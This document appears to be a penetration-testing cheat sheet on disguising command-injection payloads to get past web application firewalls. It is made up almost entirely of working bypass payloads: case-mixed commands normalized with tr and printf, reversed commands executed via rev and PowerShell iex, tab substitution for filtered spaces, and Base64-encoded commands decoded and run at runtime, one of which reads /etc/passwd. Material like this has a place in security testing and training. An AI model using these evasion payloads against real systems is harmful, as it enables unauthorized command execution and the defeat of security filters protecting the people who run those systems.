Advanced Command Obfuscation

For stricter WAFs where character insertion is insufficient, these techniques transform the command’s structure entirely, making pattern-based detection much harder.

Case manipulation

Windows (CMD and PowerShell are case-insensitive):

WhOaMi     # executes whoami

Linux (case-sensitive — requires a normalizing wrapper):

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

If spaces are also filtered, replace them with tabs (%09):

$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")

Alternative using printf:

$(a="WhOaMi";printf %s "${a,,}")

Always check that obfuscation wrappers do not themselves contain filtered characters.

Reversed commands

Reverse the command string, then un-reverse at execution time in a sub-shell.

Linux:

echo 'whoami' | rev
# imaohw

$(rev<<<'imaohw')

Windows PowerShell:

"whoami"[-1..-20] -join ''
# imaohw

iex "$('imaohw'[-1..-20] -join '')"

Tip: if the payload also needs to bypass character filters, reverse those characters as well, or incorporate the filtered characters before reversing.

Encoded commands (Base64)

Encode the full payload including any filtered characters, then decode and execute at runtime.

Linux:

echo -n 'cat /etc/passwd | grep 33' | base64
# Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

<<< avoids the pipe | (which may be filtered). Replace any spaces in the outer command with %09.

Windows PowerShell:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
# dwBoAG8AYQBtAGkA

iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Linux → Windows-compatible Base64 (UTF-16LE encoding required):

echo -n whoami | iconv -f utf-8 -t utf-16le | base64
# dwBoAG8AYQBtAGkA

Alternative decoders: openssl for Base64, xxd for hex encoding. Alternative executors: sh instead of bash if bash itself is filtered.

Additional techniques worth exploring: wildcards, regex, output redirection, integer expansion. See PayloadsAllTheThings for a broader catalog.